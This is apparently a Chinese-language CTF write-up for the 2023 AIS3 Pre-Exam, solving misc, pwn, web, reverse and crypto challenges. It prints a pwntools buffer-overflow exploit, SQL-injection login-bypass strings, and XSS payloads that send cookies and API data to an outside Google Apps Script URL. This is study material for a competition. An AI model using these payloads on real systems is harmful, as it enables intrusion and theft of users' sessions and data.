---
# System prepended metadata

title: 2023 AIS3 Pre-Exam Writeup
tags: [WriteUp]

---

# 2023 AIS3 Pre-Exam Writeup

# Misc

## Welcome
    Are you not a robot ?
    FLAG Format: ^AIS3{[A-Z0-9+-*/!?-]+}$

    Author: nella17

點開pdf，flag直接寫在上面了，一開始以為-是_結果浪費一堆時間

> AIS3{WELC0ME-T0-2023-PRE-EXAM-&-MY-FIRST-CTF}

## Robot
    Are you a robot?

    Note: This is NOT a reversing or pwn challenge. Don't reverse the 
    binary. It is for local testing only. You will actually get the flag 
    after answering all the questions. You can practice locally by running 
    ./robot AIS3{fake_flag} 127.0.0.1 1234 and it will run the service on 
    localhost:1234.

    Author: toxicpie

    nc chals1.ais3.org 12348
機器人會問你三十題數學，可以直接寫Python用eval()解
在discord看到有人說直接用手解，牛皮

###    exploit code
```python=
import pwn
import time
io=pwn.remote("chals1.ais3.org",12348)

print(io.recvuntil("!"))
time.sleep(0.5)
for i in range(30):
    print(f"solving..{i+1}")
    string=io.recv().decode()
    string=string.strip(" ").strip("\n")
    print(string,eval(string))
    io.sendline(str(eval(string)))
    time.sleep(0.5)
io.interactive()
```
![](https://hackmd.io/_uploads/rkpBv0QHh.png)


> AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}
>被罵了

# PWN

## Simply Pwn
    The simplest pwn

    nc chals1.ais3.org 11111

經典buffer overflow

###    先用gdb觀察

ni到read附近

![](https://hackmd.io/_uploads/H1wvwAmHh.png)


可以發現輸入變數存在**rsi=rbp-0x50+0x9=rbp-0x47**

所以必須墊**0x47+8byte(RSP)+address**，剛好可以覆蓋return address

return address要填甚麼卡超久以為要自己寫shellcode但我不會寫

最後info func才發現有一個叫shellcode的function超可疑

![](https://hackmd.io/_uploads/ryndPC7S2.png)


把地址填進去果然是shellcode
###    exploit code
```python=
import pwn
io=pwn.remote("chals1.ais3.org",11111)
payload=b"a"*(0x4f)+pwn.p64(0x4017a5)
io.sendline(payload)
io.interactive()
```

> AIS3{5imP1e_Pwn_4_beGinn3rs!}
> 

# Web

## Login Panel
    Login Panel 網站採用了隱形 reCAPTCHA 作為防護機制，以確保只有人類的使用者能夠登入
    admin 的帳號。你的任務是找到一個方法來繞過 reCAPTCHA，成功登入 admin 的帳號。

    你可以使用各種技術和手段來達成目標，可能需要進行一些網站分析、程式碼解讀或其他形式的
    攻擊。請注意，你需要遵守道德規範，不得進行任何非法或有害的行為。

    當你成功登入 admin 的帳號後，你將能夠獲得 FLAG。請將 FLAG 提交至挑戰平台，以證明
    你的成功。

    Author: Ching367436

    http://chals1.ais3.org:8000/

直接讀source code

```jsx=
db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`
```

聞起來就很有SQL injection的味道

###    Bypass Login Page
注入**username**

```sql=
username=' or 'a'='a
```
中計直接被Redirect到rickroll
{%youtube dQw4w9WgXcQ %}


**ok不然改注password**

```sql=
username=admin&password=' or 'a'='a
```

成功進入之後還有2fa認證，要輸入2fa code才能進到dashboard看flag，但是仔細看其實驗證完之後他也只是redirect到/dashboard而已，所以直接存取/dashboard即可

> AIS3{' UNION SELECT 1, 1, 1, 1 WHERE ({condition})--}
> 

## E-Portfolio baby
    AIS3 E-Portfolio 是一個學習成就展示平台，讓使用者可以建立並分享他們在 AIS3 的學習成果和專
    案作品。其中，網站提供了一個「Share your portfolio with admin」的功能，讓使用者可以將自
    己的作品集分享給管理員。

    你需要找出一個前端漏洞，當你分享作品集給管理員時，能夠竊取 admin 的旗幟。你可以透過探索網站
    的前端程式碼，找到適當的方式來觸發漏洞並取得旗幟。

    請注意，你需要在漏洞設計中保持合法並遵循道德原則。請勿以任何方式傷害網站的正常運作或使用者的隱私。

    對了，按下「Share your portfolio with admin」的按鈕的時候，admin 會去拜訪的頁面會是
    http://url/share?username={按下那個按鈕的使用者名稱}。

    Author: Ching367436

    http://chals1.ais3.org:8880/

看到share to admin就知道這是csrf題目
先戳戳看

###    測試XSS

```htmlmixed=
<script>alert()</script>
```
沒反應，因為寫上文字是使用innerHTML，所以對 **\<script>** 標籤不起作用
```jsx=
if (data.success) {
                        username.innerHTML = data.data.username
                        about.innerHTML = data.data.about
                        avatar.src = data.data.avatar
                    } else {
                        alert(data.message)
                    }
```
用 **\<img src>** 試試

```htmlembedded=
<img src="123" onerror=alert()>
```
![](https://hackmd.io/_uploads/rkAxgsVH2.png)
果然出現XSS


###    嘗試當cookie小偷
**一開始的思路是當cookie小偷，然後用admin登入看flag藏在哪**
```htmlembedded=
<img src='' onerror=fetch('https://script.google.com/macros/s/\
                           AKfycbxFRZIq7zd9X5gpd9MNCIe9m6d_GwrT3kY9vkVH8hPXic7pbr-\
                           pW0B8vTj0lureCaOdOA/exec?\
                           text=cookie:'+encodeURI(document.cookie))>
```
![](https://hackmd.io/_uploads/B1syQsNBn.png =50%x)
因為有設定HTTP only所以偷不到cookie(後來發現偷到也沒用，flag不在admin的頁面裡面)

###    嘗試直接偷api內容
看sauce code會發現其實flag寫在admin的密碼裡面，然後密碼又透過api/portfolio傳遞
![](https://hackmd.io/_uploads/ByImUsEB3.png)

ok開偷
```htmlmixed=
<img src="123" onerror="fetch('api/portfolio')
      .then(response =>response.text()).then(text=>{
        var url=
            'https://script.google.com/macros/s/\
            AKfycbxFRZIq7zd9X5gpd9MNCIe9m6d_GwrT3kY9vkVH8hPXic7pbr-\
            pW0B8vTj0lureCaOdOA/exec?text='
        fetch(url+encodeURI(text))
      })">

```
![](https://hackmd.io/_uploads/S19GtoVrh.png =50%x)
在瀏覽器上測試成功，但share to admin甚麼事都沒發生


![](https://hackmd.io/_uploads/HkNT5jNrh.png)
網站沒有設定CSP，所以應該是機器人沒辦法訪問外網

###    嘗試寫入自己的page
沒辦法直接用webhook就變很複雜了

**改變絲路:**
偷到api/portfolio->登入自己的帳號->寫入textarea->儲存

***創建登入form***
```htmlmixed=
<form id=form action="/api/login" method="post" target="_blank">
    <input name="username" value="test123">
    <input name="password" value="test">
</form>
```
***先偷api/portfolio再submit表單切成自己帳號，最後改textarea、click save***
```htmlmixed=
<img src="123" onerror="fetch('http://web:8000/api/portfolio')
      .then(response =>response.text()).then(text=>{
        form.submit()
        setTimeout(function() {
        console.log('123');
        }, 1000);    
        var win=window.open('http://web:8000/portfolio')
        setTimeout(() => {
        win.document.querySelector('textarea[id=about]').value = text;
        win.document.querySelector('button[id=save]').click()
    }, 1000)
      })">
```
![](https://hackmd.io/_uploads/HJDHTiNSn.png)
>AIS3{\<img src=x onerror='fetch(...}
    
#    Reverse
##    Simply Reverse
    Just reverse it!
###    先執行看看
![](https://hackmd.io/_uploads/B10RnhEr2.png)
    
![](https://hackmd.io/_uploads/S1kMT2NSh.png)

###    丟ghidra
![](https://hackmd.io/_uploads/ryusahEB3.png)
這邊有一個verify函式判斷key是否正確

###    解題絲路
    因為verify()的迴圈每跑一圈就會檢查一個char，一直到local_c=0x22 然後return true;
    所以可以brute force 跑每個字元然後看迴圈有沒有炸掉

### exploit code
```python=
import pwn
import time
io=pwn.process("gdb")
io.sendline("file rev")
io.sendline("start")
io.sendline("b *0x5555555551fb")    #把breakpoint 設在迴圈裏面，如果沒有停代表是錯的
io.recvrepeat(timeout=1)
flag="AIS3{"
while 1:
    for i in range(0x20,0x7E):
        print("trying..",flag+chr(i))
        io.sendline(f"set args {flag+chr(i)}")
        io.sendline("run")
        for j in range(len(flag)+1):
            io.sendline("c")
        io.recvrepeat(timeout=0.3).decode()
        io.sendline("x/x $rbp-0x4")
        string=io.recv().decode()
        if "No" not in string:
            flag+=chr(i)
            break
    
```
>AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}

#    Crypto
##    Fernet
    你所在的公司最近發生了一起駭客入侵事件，管理員發現駭客使用 Fernet 密碼學來加密了他們的敏感數據。
    你需要解開被加密的檔案，否則事情就大條了！

    flag format : FLAG{xxx}

    Auther : Richard ( dogxxx)
###    看code
```python=
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
from secret import FLAG

def encrypt(plaintext, password):
    salt = os.urandom(16)  
    key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)  
    f = Fernet(base64.urlsafe_b64encode(key))  
    ciphertext = f.encrypt(plaintext.encode())  
    return base64.b64encode(salt + ciphertext).decode()

# Usage:
leak_password = 'mysecretpassword'
plaintext = FLAG

# Encrypt
ciphertext = encrypt(plaintext, leak_password)
print("Encrypted data:",ciphertext)
```
###    絲路
    密碼都給你了所以反著解密就好了
    
加密流程是:產生salt->產生key->用key加密flag->把salt+ciphertext用base64 encode起來
所以其實salt也給你了就是base64 decode後的前16個char

###    decrypt code
解密流程:base64 decode->取得salt、ciphertext->用password、salt重建key->用key解密ciphertext

```python=
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
cipher='''
iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlO
aC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1Ja
OGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj
'''
cipher=cipher.encode()
cipher=base64.b64decode(cipher)
salt=cipher[:16]
cipher=cipher[16:]
print(salt)
print(cipher)
leak_password = 'mysecretpassword'
key = PBKDF2(leak_password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)  
f = Fernet(base64.urlsafe_b64encode(key))  
plaintext=f.decrypt(cipher)
print(plaintext)
```
>FLAG{W3lc0m3_t0_th3_CTF_W0rld_!!_!!!_!}
